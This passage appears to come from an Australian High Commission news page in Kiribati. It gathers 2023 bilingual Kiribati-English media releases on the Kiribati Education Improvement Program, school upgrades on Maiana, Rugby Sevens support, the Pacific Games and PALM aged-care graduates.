reirei ake a onobwaiaki mani katamaroaki.\n- Tebubua ruabwi ma waniua mwaitin tangke n ran ngkai aika a kateaki ao ni kanimwaki n reirei ake a tia mwakuri ni katamaroa iai, tebubua itibwi ma uoua mwaitin kai n nako tinaniku, tenibwi te ngaa te boota ni mwaitin ibukin bwai n reirei aika a mamatoa ake a karokoaki bwa bwain umwanreirei aika a boou nikabane aikai.\n- Kateaki uoua bora Uatao kateitei n aia Kuura n Reirei ni Kataneiai Taan Reirei iaon Kiribati, ao teuana ibukin te Examination and Assessment Unit.\n- Buokan karaoan te karikiram ibukia rinan teuana nakon ruaiwa, n ikotaki ma karekean bwai n anga reirei.\n- Buoka nakon ana waaki n tutuo ao ni kaetibwai te Bootaki n Reirei ibukia moan rinan ao te Junior level imwiin te ukeuke.\n- Waaki ni Kairiiri, Anga Reirei ao kataneiai:\n- E riaon nimabubua mwaitiia koraki ake aki bane aia reirei n tia n reke buokaia rinanon te waaki ni Kairiiri, Anga Reirei ao te Kataneiai.\n- Waaki ni kataneiai nakon ana Kuura ni Kataneiai ana taan Reirei Kiribati ao bon nakoia taan reirei:\n- Buokan te Kuura iaon kabutiraoan waaki n anga reirei ao karekean aia beebwa ae kinaki nte aono.\n- E riaon ruabwi te katebubua mwaitiia taan reirei aika a tia n ira ngkai te kataneiai iaon te in-service.\n- Karinaia Ataei ake iai toaraan rabwaia nte waaki n reirei:\n- Buoka te Bootaki n Reirei ni katamaroan ao katean te kainibaire ibukin karinaia ataei ake iai toaraaia inanon waaki n reirei, ke n ataaki arana ae te 9 Model Inclusion Schools.\n- Nikarokoa te tai aei, ao ea nakon uabubua tengaun ma itiman ataeinaine ao ataeinimwaane ake iai toaraan rabwataia aika a ira buakon te reirei n ana moan rinan ao kauarinan n reirei nako Kiribati.\nAikai tabeua karikirake ake a tia n rangi n ibuobuoki nakon waaki n reirei ibukia ataein Kiribati.\nEa roko raoi n tokina ngkai ana mwakuri te Kiribati Education Improvement Program ni banen te irirki aio 2023, ao ea tia Aotiteria ni manga kakina tebwiina riki te ririki are ena waaki nakon te ririki ae boou 2024. E kamatoa Aotiteria teimatoan ana buoka ao ana kakaonimaki, ibukin uarokoan te rikirake nte waaki n reirei, ao rikirakeia naba ataein Kiribati nikabane.\nIbukin Kanakorongorongo\nNgkana ko tangira riki rongorongona, ke tao kona kareke rongorongo ae maiu, ao reitaki nakon:\n[email protected] (74021184)\nKiribati-Australia Partnership: Celebrating 12 Years of Education Success in Kiribati\nDecember 2023\nIn a memorable event held this week, the Australian High Commissioner to Kiribati, Her Excellency Ms Karen Bray, joined with Honourable Vice President Toatu to celebrate the conclusion of a 12-year partnership between Australia and the Ministry of Education through the Kiribati Education Improvement Program.\nExpressing her immense pride in Australia's support to Kiribati, H.E Karen Bray emphasised the unwavering commitment and dedication of the gathered representatives from the Ministry of Education and its partners in improving education for Kiribati's children and youth. Australia has been a proud partner in the Ministry of Education efforts to support their schools and teachers to achieve improved educational outcomes.\"The partnership between Australia and Kiribati has significantly contributed to the development of education in our nation,\" stated Honourable Minister for Education, Alexander Teabo. \"The support has undeniably impacted the lives of children and families in Kiribati. A classic example is the provision of furniture to all schools in Kiribati. The provision of desks and chairs is truly an inspiration for students and teachers\", he said.\nAcknowledging Australia's longstanding commitment, Minister Teabo affirmed \"Australia has been [our] long-term partner, and we're grateful to have Australia with us.\"\nSince 2011, the Kiribati Education Improvement Program has supported MoE's mission to improve education outcomes for children across Kiribati. Australia has contributed over $97 million in support to the Kiribati education sector during the period.\nNotable achievements include:\n- Upgraded Kiribati Education Infrastructure:\n- 63% of enrolled primary school children now learn in improved schools across 13 islands.\n- Upgraded 28 primary schools (29% of all Kiribati primary schools).\n- Constructed 256 new Primary school classrooms, upgraded 105 existing classrooms.\n- Installed 198 water tanks, 172 toilets, and 30,000+ items of quality classroom furniture at the upgraded schools.\n- Built two new double-storey learning centres at the Kiribati Teachers College and a new double-storey Examinations and Assessment Unit building.\n- Curriculum and Examinations:\n- Support to develop and implement Kiribati's new Year 1 – 9 curricula, including providing extensive teaching and learning resources\n- Support for the Ministry's Primary and Junior Secondary assessment and examination framework.\n- Leadership, Teaching, and Learning:\n- Over 500 Kiribati school leaders have received professional development through the Leading Learning Instructional Leadership (LLL) course.\n- Kiribati Teachers College (KTC) and Teacher Training:\n- Assisted to strengthen KTC operations and systems for regional accreditation.\n- Over 90% of all Ministry teachers have participated in in-service teacher training.\n- Inclusive Education:\n- Supported the Ministry to updated and implemented its Inclusive Education Policy including the establishment of 9 Model Inclusion Schools, that provide education opportunities for boys and girls with disabilities.\n- So far, 217 boys and girls with disabilities have been mainstreamed into Primary and Secondary education through these Model Inclusion Schools.\nThese are but a few of the initiatives that have significantly improved the education opportunities and learning outcomes for students of Kiribati.\nThe Kiribati Education Improvement Program concludes at the end of 2023 and Australia has committed to a new 10-year program from 2024. Australia reaffirms its support and commitment to quality education opportunities for all children in Kiribati.\nFOR MEDIA USE\nIf you would like further information or interviews, please contact:\n[email protected] or call 74021184\nA teacher in a new classroom with her students\nHappy i-Kiribati students using Australian-funded quality furniture in a traditional classroom\nMEDIA RELEASE\nKATARATARA ARE IAONA RIKI ANA RABWATA N URAKIBI KIRIBATI N ANA RUNGA TE BETEBEKE\nMai Iroun te Kaaben Peter Nugent, Australian Defence Force\nEa tia ana Taanga n Tararua Aotiteria n arana ae te Australian Defense Force Aotiteria ni kibara ngkai mwakurian ao buokan rikiraken te tiim n Urakibi iaon aban te Betebeke ae Kiribati.\nAna tiim n takakaro Kiribati aio e a tia ni mwananga nako Brisbane n ira te kaboo n aia kauoua n takakaro n te aonaba n te Oceania Rugby Sevens Championship, ao are a karekea iai nneia ae te katengaun ma aman iaon te tebwi ma onoua te tiim, ake a ira naba buakon te takakaro aio.\nEa tia te mwananga aio ni manga kamatoa te reitaki n iraorao ma ana rabwata n takakaro ana Taanga n Tararua Aotiteria ae te ADF Sports Diplomacy ao mwangana are te CIMIC, ao are ea karokoaki iai te kakao ibukin te takakaro n iraorao are e boo nte Gallipoli Barracks I Enoggera.\nTe Coach ae Morrison \"Molly\" Benson e kaota kukureina ngke a uaia n takakaro tiim aikai inanon te gymnasium, te tabo n uaua, ao n te Duncan Oval ibukina te kataneiai ae matoatau are ea karaoaki inanon uabong.\n\"Akea raoi ara tabo n takakaro I abara ngaia ae e rangi ni kanganga bwa ti na kataunarea buburan te marae, ke itera raa ae tina kamatoaira iai, ma ikai ao e reke ara tai n mwakuri iaon abwakin marangara ao n atai taabo iaon te marae ae ti riai n kamanoi\" e taku Coach Benson.\nIrarikin ana katautau ibukin tokanikaia nte marae n takakaro, ao e bon tangira naba ae ena reke atongan Kiribati nte kaboo n te takakaro aio.\n\"Tia kateia bwa ara taakete ao ara kantaninga bwa ena riki bwa atongan Kiribati ao n kauki kawai ibukia te roro n rikirake iaon abara, ao ara kantaninga naba bwa ena kaungai nanoia ara ataei bwa a na rinako n te takakaro aio ao n boutokaira\".\n\"Te boto ni iango nte tai aio bwa ti na kona n tokanikai ao rinnakoa te kabo nte aonaba ke te Olympic Games are ena booaki I Brisbane n te ririki 2032\" e taku Beretitenti Baireti.\n\"Angiia taan takakaro aikai, a bon bane n ieie man te rinan are inano, ao ara katautau ngkai bwa ana kona n okirikaaki ao ni karaoi kataneiai nakoia te roro ae tabe n rikirake bwa ena reitinako te takakaro aio i abara. Iai ngkai ara kanoa n reirei ae ea tia n tei rabwatana, ao bon ataei aikai, aika ana manga bon ira naba buakon te kauaba ae te 2023 Olympics.\"\nAna Lieutenant temana ana Taanga n Tararua Aotiteria ae Colonel Justin Robinson man te JTF637, e roko n mataku irouia kain Kiribati aikai ao n noora birin aia booro.\n\"Moan te tamaroa, ao e mwamwannano te butimwaai are ti boo ma ngaia n rokora I Kiribati ngke ti karaoa ara Longreach Exercise n moan te ririki aio\" e taku LTCOL Robinson.\n\"Ngaia ae riai ao e boni kakawaki iroura bwa ti na kaoka aia akoi aio nakoira ao n kamatoa tamaroan te reitaki rinanon te takakaro\"\nEa kainaki te kataneiai aio nte kamironron n anenea te kuna ni karabwarabwa, irouia nikabane ana taan takakaro Kiribati ao ana taan takakaro ma aobitia ana Taanga n Tararua Aotiteria, ake a reke rokoia ni boutoka.\nKo kona n noori tamnei nte link aio.\nKIRIBATI RUGBY SEVENS AIMING HIGH FOR PACIFIC GAMES\nBy CAPT Peter Nugent, Australian Army\nThe Australian Defence Force is taking a hands-on role to support the growth of Rugby Sevens in the Pacific nation of Kiribati.\nThe Kiribati national team recently travelled to Brisbane to compete in just their second international tournament, the Oceania Rugby Sevens Championship, where they finished 14th out of the 16 teams that participated.\nThe trip also allowed the team and its officials to rekindle their friendship with members of the ADF Sports Diplomacy and CIMIC branches, with an invitation to train at Gallipoli Barracks, Enoggera.\nCoach Morrison 'Molly' Benson was delighted to let his team loose in the gymnasium and pool facilities, and on Duncan Oval over a two-day intensive training period.\n\"We don't have a proper pitch back home so it is really hard for us to measure the field, here we can work on our spacing and identify which areas on the field we need to defend,\" Coach Benson said.\nAs well as future on field success, the coach hopes to build a legacy for the country.\n\"We set a goal that we want to create history and create opportunities for generations to come in Kiribati, so hopefully this will give us a chance to inspire young kids to come in to join and support us.\"\nKiribati Rugby Sevens President Karea Baireti also has lofty ambitions for the national team.\n\"The ultimate aim at the moment is to qualify for the Olympic Games back here in Brisbane in 2032,\" President Baireti said.\n\"All of these players are Level One coaches, so when they go back, they are qualified to then start coaching and getting the next generation going. We've got a really good schools program, and it's those kids who are going to be in the 2032 Olympics.\"\nThe Australian Army's Lieutenant Colonel Justin Robinson from JTF637 was on the sidelines to watch the Kiribati players go through their paces.\n\"The reception we received when we went to Kiribati during Exercise Longreach earlier this year was brilliant, the people were so kind and welcoming,\" LTCOL Robinson said.\n\"So it was really important that we took this opportunity to reciprocate and build our relationship through sport.\"\nThe training session ended with a powerful demonstration of friendship when all of the players, staff and ADF personnel formed a circle and linked arms before singing an impromptu song of thanks.\nYou can view images here.\nAn article by the Australian High Commissioner\nH.E. Karen Bray\n21 November 2023\nKiribati ao Aotiteria - te reitaki rinanon te takakaro\nNte aono ni Betebeke ni kabuta, ao ti bane n toma nte marawa ae tii teuana, aron tein ara karaki ni kawai, ao aroarora n reitaki n itangitangiri. Ti toma naba iaon tangiran te takakaro, are ea uotiira ni katiteuanaira iai inanon tain te takakaro nte marae.\nRinanon te takakaro, ao ti tibwai imarenara korakorara, ao ti bukamarui arora ni Uarokoan te Tokanikai ao te inanoi. E rangi ni korakora ana ibuobuoki te aroaro aio, ni uarokoa karikirakean te reitaki ae Tamaroa iaon ara aono.\nNi moan te Namwakaina aei, ao I rangi ni kukurei n ira buakon te bukamaru ni kaukuki ibukin te takakaro iaon Kiribati ae Te Runga iaon Tarawa. E riingaki nanou n noori tiim man Abamakoro aika a kakaokoro, ni kaoti tangiran abaia rinanon mwanewen kunaia ma aia kaungaunga aika moan te tangiraoi ao ni kakamataku, ao n noora buraburan matan abaia are a katiouataakea n aia kaboraoi aika a kakaokoro mani matamata.\nI rangi ni kukurei ngkai e kona n reke tibwan Aotiteria n angabai n ibuobuoki nakon Te Runga, te mwaitin ni mwane ae $75,000.00 ao n anga naba bwain takakaro, kaboraoi, ao n onobwai nakon taian roki ibukin kabonganakia irouia taani mataku iaon Bairiki ao a mwaitin riki.\nN te wiiki aio, ao ea bane nako te koraki mani koonan nako te Betebeke, ni kakioa aon Toromon ibukin te Kauaba n Takakaro irouia aban nako Te Betebeke. Te Takakaro aio, ea katiouataakea rianakon aia taarena aban nako te Betebeke aika a kakaokoro, ao are ea karekea naba te tai ni karikirakea ao ni kakorakora te reitaki imarenaia aban nako te Betebeke, ma te botoniango ae 'te Kakaewenako, te Bukamaru, ao te Inanoi'.\nAi aron naba are i Aotiteria, ao ti kaungaia rooro nako, mwane ao aine, ao koraki ake iai toaraan rabwataia, bwa ana kona n ira buakon te kukurei ni bukamaru ao n ira te kaboo n taian takakaro iaon te Betebeke.\nAna kaoti naba ana taan takakaro Aotiteria, ma aia kara ae te babobo ni koora ao te kiriin, n ira buakon te kabo nte takakaro irarikiia 23 aban nako te Betebeke, are bon teuana mai ibuakona boni Kiribati.\nE kukurei Aotiteria ngkai e boutoka te Bwabwaro n Takakaro ibukia aban te Betebeke. Bon iai ana kainibaire Aotiteria iaon karikirakean te takakaro n te aono n te Betebeke.\nTeuana mai ibuakon te rabwata mai Aotiteria are e boboutoka te takakaro bon te, PacificAus Sports. Te rabwata aio ea karekei kawai ma aanga ibukiia taan takakaro man aban nako te Betebeke, bwa ana kona n iri kaboo itinaniku, ao ni kona ni kareke aia waaki ni kataneiai I Aotiteria ao bon n te aonaba.\nAu katekeraoi nakoia taan takakaro nikabane nte aono ni Betebeke. Bon moan te kakanato ae ngkoe te tia takakaro, kona tei ibukin abam.\nIa kaingaa nanou ni mataku n taian takakaro are ea waaki nte wiiki aio ao nakon te wiiki aika ana roko, ao ia kaungai nanoia nikabane taan takakaro – ai moaraara riki taan takakaro mai Kiribati ao Aotiteria.\nThe Australian High Commissioner, H.E. Karen Bray handing over equipment to the Secretary of MWYSSA, for use in Te Runga 2023\nKiribati and Australia - enduring partners through sport\nAcross the Pacific, we are connected through our geography, our common history and our close bonds. We are also connected through our shared love of sport, which brings us together both on and off the field.\nThrough sport, we share in each other's courage and strength, and celebrate each other's resilience and successes. It helps to bring out the best in us and build strong and lasting ties across our region.\nEarlier this month, I was honoured to attend the opening ceremony of the Te Runga Games in Tarawa. It was an amazing experience to see participants from every Kiribati island entering the stadium. Their enthusiasm, distinctive chants and songs, and colourful uniforms were a memorable highlight.\nI am very proud that Australia was able to support Te Runga by providing AUD75,000 in assistance, including equipment, uniforms, and public toilet upgrades in Bairiki for use by spectators and competitors.\nThis week, the Pacific has come together to celebrate its love of sport at the Pacific Games – the most significant sports event on the Oceania calendar. The Games showcase talented athletes from across our region, as well as an opportunity to celebrate our strong cultural and community connections under the theme 'Challenge, Celebrate, Unite'.\nJust like in Australia, we encourage people of all ages, gender, and those with disability, to enjoy and participate in sport across the Pacific.\nAustralian athletes will be at the Games in their green and gold, competing alongside athletes from 23 other nations, including eighty competitors from Kiribati.\nAustralia is proud to be supporting Pacific athletes from across the region. We have a long-term commitment to sports development in the Pacific.\nThis includes through the PacificAus Sports program, which is helping develop pathways for Pacific teams and athletes to compete in elite competitions and access high performance coaching in Australia and internationally.\nI want to wish all the athletes from across our region the best of luck and share our congratulations. There is no greater honour than representing your country.\nI look forward to watching the best of Pacific sport in action over the coming weeks and will be cheering for all the talented athletes – but in particular those from Kiribati and Australia.\nAustralian Defence Force personnel assisted Kiribati Rugby during their stay in Brisbane for Oceania Rugby Sevens (Nov 2023), and prior to their departure to Honiara for the Pacific Games\nAustralian High Commission staff made many visits to the fields of Te Runga 2023 to watch the games and to hand out merchandise - including waterbottles filled with cold water on hot days (pictured: First Secretary Brenton Kanowski with mens' volleyballers)\nMEDIA RELEASE\n18 November 2023\nUmwanreirei aika a boou, Maneaba, ao te Iti mani korakoran taai, ibukin kaukakin te moan rinan reirei ae Nei Abitabu Primary School iaon Maiana.\nNte bong ae 18 n Nobembwa 2023, ao ea tia te Minita ibukin te Bootaki n Reirei (MOE), Hon Alexander Teaba, ao ana Aikamitina Aotiteria ae Her Excellency Ms Karen Bray, ni uataboa manga kaukan te moan rinan reirei ae Nei Abitabu, are ea kanikinaea iai tian ao bobongan te mwakuri ni katamaroa ao n onobwai nako iai, iaon Maiana.\nTe mwakuri ni katamaroa aio, ena karekea te mwengaraoi nakoia 188 ataein Kiribati, mwane ao aine iaon Maiana, are ena kona ni kakorakora nanoaia ataei ma te unga n nano nte reirei ibukia te roro aio ao n taai aika ana roko.\nEa mwanenaki katean te reirei aio man te Tautaeka n Aotiteria, ao are ea karaoaki mwakuri ni kateitei rinanon te Kiribati Education Improvement Program (KEIP). Kateitei aika a boou aikai, a boni kona ni kaitarai kanganga n irekereke ma bibitakin kanoan boong, ao ni kona naba n karokoia ataei ake iai toaraan rabwataia, bwa ana bane ni mabiao iai ataein Maiana ngkai ao nakon taai aika ana roko.\nAio bon te ka 27 n reirei are karaoaki iai te katamaroa iroun Aotiteria, ao inanon te tai aei, ao ea nakon iteran mwaitiia ataein Kiribati ake a roro n te reirei, ae a tekateka ngkai inanon umwa n reirei aika a booureirei aikai iaoni Kiribati ni kabuta.\nTe reirei bon teuana kiingin buroon ana kainibaire te Tautaeka ibukin 20 te reirei, ao boni moan te kakawaki iroun te Tautaeka ni Kiribati ao Aotiteria, bwa ena akea te ataei ae ena katinanikuaki nte karikirake aio. Are ea tei ibukin te Tautaeka, bon te Minita nte Reirei, are ea anga ana marooro iaon kakawakin te bwai n tangira aio, ao ni karokoa ana karabwarabwa Kiribati nakon Aotiteria, ibukin ana boutoka ae mwamwannano ao n teimatoa.\nMwiin te mwakuri ni katamaroa aio, ao iai 2 aekaki ni kateitei aika a bora uatao, ao inanon kateitei aikai ao iai 6 mwaitin umwa n reirei iai. Iai naba te roki ae boou, ao te tabo n tebobai ae toamau, e boni karaoaki naba te katamaroa nakon umwa n reirei ake a maan n tei ao ai te katamaroa nakon aia aobiti taan reirei. Iai naba aia tabo n nakonako ataei ae tan man te riringa ao te karau, oon te reirei, iai naba te iti ae kabonganaa korakoran taai ao ai bon bwain nako te umwa n reirei n aron te taibora ao kaintekateka ibukin katoamauaan ao kanakoraoan te reirei.\nE teimatoa Aotiteria ni mwakuri n ikarekebai ma te Bootaki ni Mwakuri ibukin Kateitei ao Korakora (MISE), ao te Bootaki n Reirei iaon kabobongaan ao katean reirei aikai bwa ana bon roko raoi nte toko are e kantaningaaki. Iai naba tabeua katamaroa nakon oon te reirei, are e boni karaoaki man te Kiricraft, tabeua mwakuri ake a boni karekea ke karokoaki boni mai iaon Kiribati, are ea karekea aia mwakuri ainen ao mwanen Kiribati n reiakini rabakau aika a boou, ao ni kona ni karikirakea maiuia iai.\nE korakora te kabwaia ae reke irouia kain te aba, nte mwakuri ni katamaroa nakon Nei Abitabu. Teuana mai iai, bwa katean oon te Reirei, e boni karaoaki bwaina nako man te bwai ni Kiribati iroun te Kiricraft. Te kamwakuri ni kateitei, e boni karekea naba aia mwakuri kain te aba, ao e reke naba aia tai n reirei iaon rabakau aika a boou ao ni boongana ibukin rikirakeia inanon aia tai ni mwakuri.\nE boutokaki katean te Reirei ae Nei Abitabu Primary School iroun te Tautaeka n Aotiteria iaan te Kiribati-Australia Partnership. E anga bwanaana ana Aobiti Aotiteria nakoia botaki ake a uataboa ao ni karokoraoa aron te mwakuri ni katamaroa aio, n aron: te Bootaki n Reirei, te Bootaki ni mwakuri ibukin Kateitei ao korakora, te Kiribati Green Energy Solutions, ao ai bon taani mwakuri ni kateitei aika boni kain Kiribati aika te Hi-Tek, Squareline ao ai te Kiricraft.\nNew Classrooms, school maneaba and reliable electricity supply at the Nei Abitabu Primary School Grand Opening on Maiana.\nOn 18 November 2023, the Honourable Minister of Education, Mr Alexander Teabo and Australian High Commissioner, Her Excellency Ms Karen Bray together celebrated the re-opening of the Nei Abitabu Primary School on Maiana Island, marking the completion of an extensive school upgrade and expansion.\nThe school upgrade provides a safe and high-quality school environment for the school's 188 i-Kiribati boys and girls and improves the learning environment for the next generation of Maiana children.\nThe school has been completely refurbished through the Kiribati Education Improvement Program (KEIP), funded by the Australian Government. The buildings and classrooms provide an inclusive and climate-resilient environment for students. The quality construction ensures these facilities will benefit children and the community for many years to come.\nNei Abitabu is the twenty-seventh primary school to be upgraded in Kiribati by Australia under KEIP. Now, over half of all primary school aged children across Kiribati attend these upgraded schools.\nEducation lies at the heart of the Maamau Government's Kiribati Vision for 20 years. This project helps to ensure no child is left behind in their education journey. During the event, Minister for Education Hon Alexander Teabo highlighted the importance of these new high-quality facilities at Maiana and expressed the Kiribati Government's gratitude for the support from Australia.\nThe Nei Abitabu Primary upgrade and refurbishment includes two new three-unit classroom blocks (six new classrooms), new toilet and WASH facilities, a school Maneaba, renovation of existing classrooms and administration office, new covered walkways and school fencing, installation of solar power, and new classroom furniture.\nAustralia worked closely with the Ministry of Education and with the Ministry of Infrastructure and Sustainable Energy to ensure the school layout and building designs are fit-for-purpose and of a very high quality. All Australian upgrades are in accordance with strict MISE requirements and receive ongoing monitoring to ensure facilities are in order.\nThe Nei Abitabu Primary School upgrade provides additional local benefits. The school's new wall panels were fabricated locally by Kiricraft. Construction services were also sourced locally, providing i-Kiribati men and women with the opportunity to learn new skills and improve their livelihoods.\nThe Nei Abitabu Primary School was supported by the Australian Government, delivered through the Kiribati-Australia Partnership. The Australian High Commission extends it thanks to key implementing partners: the Ministry of Education, Ministry of Infrastructure and Sustainable Energy, Kiribati Green Energy Solutions, and local construction firms Hi-Tek, Squareline and Kiricraft.\nMEDIA RELEASE\n24 August 2023\nAGED CARE EXPANSION PROGRAM CELEBRATES FIRST PALM SCHEME GRADUATES\nTeningaun ma teniman kain Kiribati ake a mwakuri n te Pacific Australia Labour Mobility (PALM), n tararuakia kaara i Aotiteria, ake a moani katabwena ao n riki bwa taani moani kareke beebwa, iaan ana burokuraem te Tautaeka n Aotiteria, ae kinaaki n arana bwa te PALM Aged Care Expansion Program.\nTe burokuraem aei are ea kabotoaki iaoia uoman taani mwakuri ake a tia ni kabanea aia kataneiai ao n nooraki mwiin aia mwakuri. Ibukin katabwangaakin te burokuraem aei, ao ena iai te raka ni mwaitin ae nakon 500 taani mwakuri, ake ana kona ni kareke beebwa iaon te burokuraem aio ao ni kareke mwakuri n aonon nako Aotiteria, ibukin te maan ae nakon aua te Ririki.\nTaani kataneiai a boni kabanea enakon waniua te wiiki ni kamatebwai imwain ae a mwananga nako Aotiteria, ibukin reitakinakoan aia reirei ao ni mwakuri n taabo n tararua ke mwengaia kaara n aron te I Highfields Manor Aged Care are e tei I Port Macquarie, New South Wales.\nNte bong aei ao a karekea aia beebwa ae te Certificate III in Individual Support (Ageing) ao n kona n reitanako aia mwakuri n te PALM scheme I Highfields Manor.\nNi karokoa ngkai, ao ea nakon 700 mwaitia taan mwakuri n te PALM aika kateirakeaki irouia kambwana n tararuaia kaara iaon Aotiteria. Te Tautaeka aio e teimatoa n mwakuri ma kain te Betebeke n ikotaki ma Timor-Leste n karikirakea mwaitia aia aomata aika a na mwakuri n te PALM ibukin tararuakia kaara.\nTaani mwakuri man te Betebeke, boni ngaia ngkai aika ibuobuoki ni kanoai taabo ni mwakuri ake a kainanoaki i Aotiteria ao ni kairkirakea mwaitiia kainga nako iaon Aotiteria. Tiaki ti ngaia anne ma te mwakuri aio, are ea karekea iai te anga ni kaoki mwane nako Kiribati, ibukin buokan te maiu irouia aia utu, kain aia kaawa ao ai bon abaia. Eaki toki ikanne, ma ena kona naba n reke te rabakau ao te karikirakea rabakauiia ake ana kona ni kabonganai n okiia rikaaki nakon abaia ke mwengaia.\nTabeua kanoan ana maroro te Minita ibukin Te Rikirake ao te Betebeke, Hon Pat Conroy MP:\n\"Ai bon te bwaana n katekeraoi nakoia tengaun ma teniman taani mwakuri mai Kiribati ngkai boni ngaia taani moani katabwena ni karekea aia beebwa iaan te waaki ni angareirei ao ni kamwakuri aio, ao au kantaninga bwa ena aki toki ikanne ma ena tabe n rikirake te mwaiti.\"\n\"Taani mwakuri man te Betebeke aikai, aki tii roko ni mwakuri n tararuaia ara kara ao kain ara kaawa, ma a boni karekea naba te rikirake nakon kabwaian abaia ao ni kakorakora riki te reitaki imarenara ma ara utu nte Betebeke.\"\nTaeka mai iroun te Minita ibukin Tararuakia Kaara, Hon Anika Wells MP:\n\"Te bwanaa ae mwaitoro n butimwai nakoia riki 500 taani mwakuri iaan te PALM rinanon tararuakia kaara ngkai a nang manga raonia 700 taani mwakuri ake a maan ni mwakuri, ao n roko man taabo aika a kakaokoro, n ara utu nte Betebeke ao Timor Lester iaon Aotiteria.\"\n\"Rabakauiia, aia kakaonimaki ao ai bon anuaia n ikarinerine ake a uoti nakon aia tabo ni mwakuri, e karikirakea te kukurei irouia i Aotiteria ake a mena iaan aia tararuai.\"\nTabeua kanoan ana maroro te CEO nte HealthX , Simon Small:\n\"Aia katei kain te Betebeke n akoi ao ni karinerine ma moanibwaian te utu e bon kanakoraoa mwakuria n aekan taabo n mwakuri aikai. Kaara ake a tararuaia a bon nang kukurei n aia mwakuri korakora ao anuaia n momoangare ao ni bubutimwaai.\"\n\"N kaboan mwin aio ao ti kukurei n karekei anga n karikirakea aron aia mwakuri ao n kanakoraoa booia ae ena teimatoa n kakukureia ao n kamwengaraoia nake a mwakuri n te HealthX's PALM ao n kona naba n buokia aia utu ake a tiku I abaia. Tein te kamwakuri aio e bon uaiakina n ikarekebai nakon te kabwaia ibukia taan mwakuri ao taan kateirake.\"\nTabeua kanoan ana maroro temana te tia mwakuri n te Highfields Manor Aged Care and ACE participant, Akineti Tearu:\n\"Te kataneiai are ti tia n anganaki man te Health X e bon kauki mataroa ibukira ao ngkai ti a nang mwatai iaon karekean kainanoia ara kara ake ti tararuaia.\"\n\"I nang karabwarabwa nakon te tiim man te HealthX bwa aki ti tia n boutokaira nakon kabwaiara ma ara iango ma a buokira naba n taneiai nakon te katei ma te maeu iaon Aotiteria.\"\n\"Ngkai ao ti a nang mwatai iaon tabera ake ti roko n mwakuri iai ao tia kona n anga ara kabanea n tamaroa ibukia ara kara.\"\nFull media release in English available: Aged Care Expansion program celebrates first PALM scheme graduates | Ministers and Assistant Ministers (dfat.gov.au)\nKiribati National Day - 12 July 2023\nUruring rikaaki iaon te bong n Inaomata 2023 - Mai iroun te Australian High Commissioner, Her Excellency Karen Bray\nNte wiiki aio, ao i kakatonga n iriia raou ni mwakuri man Aobitin Aotiteria ni bukamarua ana kainaomata Kiribati – are bon au moan kainaomata inanon au tai n Aikamitina ibukin Aotiteria.\nE mwaiti te kanoa ni waaki imaren abara ma ara kaawa nako ake I moan noori inanon au moan wiiki n tiku iaoni Kiribati – bwa Kiribati ao Aotiteria, e kakawaki irouia te utu, te atataiaomata, te katiteboaki, bwabwainakin te kokoaua ao te nano teuana ibukin te takakaro. Ti te tikina ngaira n ara iango ni kan eutaarake ara utu, abara, ao ara aono n betebeke.\nN au namakin bon irou, ao I namakinna ae I rangi n tekeraoi ngkai I roko ikai. I butimwaeaki raoi man kaotaki nakoiu te taotao-n-nano ao te akoi. I ingainga ni karokoia au utu nakon abami rimwii inanon te namwakina aio. Man irekerekera ae tamaroa ao nanora ni kan ikikina, ao e na bon rikirake ara reitaki.\nBon moan te kakatonga ao ni kukurei nanou n iri buakon bukamaru ake a karaoaki ibukin rungaan ana bong Kiribati ae kakawaki aio. Tabeua bukamaru ake a reke rokou iai bon bongin rungaan kakawakin te katei, te kaboo n te anene, te kabotoa irouia ataeinaine, ao tabeua riki ike ea reke au tai n noora aron te aroaro ao te katei ni Kiribati. Ni karokoa te tai aei, ao I teimatoa n tataukirooa aron rabakauiia i-Kiribati nte taarena ae te mwaie ao te anene, ao I rangi ni kukurei ngkai e kona n reke au tai ni mwamwaie irarikimi ni katoa bobotaki.\nInanon te wiiki aio, ao I noora kakawakin te bobotaki inanoni kaawa nako, ao ia rairikaaki n taraa karakin Aotiteria. Aotiteria n taai aikai, e kinaaki bwa te aba ae mwaiti aomata man aaba ao katei aika a kakaokoro. Aotiteria bon te aba ae wai mai iai te katei ae retinako mangkoa ni karokoa bong aikai – ao e rangi ni kakawaki te katei iai. Bon ti te utuna ngaira n ara marawa aio, ao e mwaiti te iango ae ti te tikina n te aonnaba.\nI rangi ni kukurei n ongo ngkai e kona n anga baina n ibuobuoki Aotiteria ibukin takakaro tabeua ake a boo nte wiiki aio, n aron te nete ao aia takakaro mwauku. N ai aroia I-Kiribati ae a tatangira te takakaro, Aotiteria bon te aba ae rangi ni mamate nanoia ana bota n aomata nte takakaro n aekaia nako. Ena teimatoa Aotiteria ni boutokaa te waaki n aki katinanikuaki, bwa ti aonga ni bane ni kona n iri buakon bukamaru, ni kaoti ara tarena ao man ataaki ara konabwai.\nTe kibu ni koora ibukin te Kainaomata n te ririki aio bon 'Maiuraoin te botanaomata man te babaronga raoi'. E buoka n te babaronga raoi, ao ti kamoamoaa te Tautaeka ni Kiribati n ana konabwai ao ana kakaonimaki nakon te kibu ni koora aio, n aron moani katabwenaan te Waaki ni Babaronga ni kaitarai mwakuri buaka. E kukurei Aotiteria n tia ni booa ana maroro nakoia taan rabakau nte aono ao ai bon taan rabakau man te Tautaeka ni Kiribati, iaon maroroakinan ana kanoanimi te Tautaeka ni Kiribati ibukin 20 te ririki: are karikan te aba ae aanaki nte babaronga raoi.\nTi kakatonga ni katanoatai tabeua kanoan ara reitaki inanon te tai ae maan, iaon waaki n ikarekebai ni karikirake, n aron te mwakuri nte mauri, karikirakean te reirei, ao kaubwain te aba ibukiia te nati n Kiribati.\nAra waaki n ikarekebai iaon te reirei, e bon boboto iaon karikirakean te konabwai irouia te nati ni Kiribati, eaonga n reke irouia te rabakau ibukin karekean aia mwakuri. Tina teimatoa ni boutokaa te waaki ibukin karokoan mwakuri iaon te mauri iaon Kiribati, n ikotaki ma katokan butinakon aoraki aika aki eweewe, ao ni katamaroa marurungiia te botanaomata, kain te kaawa ao ai bon ara utu.\nTeuana mai ibuakon ana buoka, boni kabobongaaia te nati ni Kiribati bwa ana kona n ewekii taabo ni mwakuri i tinanikun Kiribati, ao ena kona n reke aia anga ni buokiia aia koraki , aia utu ao ni bon buoka rikiraken kaubwain Kiribati. I kukurei ni kaongoi ngkami bwa ia tia n noora uaan te mwakuri aio, ao ni kona n taekinna bwa aio uaan te reitaki ae tamaroa.\nNi moan te ririki aio, ao e tiainaaki te boraraoi ae te Tobwaan Te Rikirake Memorandum of Understanding, imarenan ana Beretitenti Kiribati, H.E. Taneti Maamau ao ana Minitita Aotiteria ibukin Bootaki ni 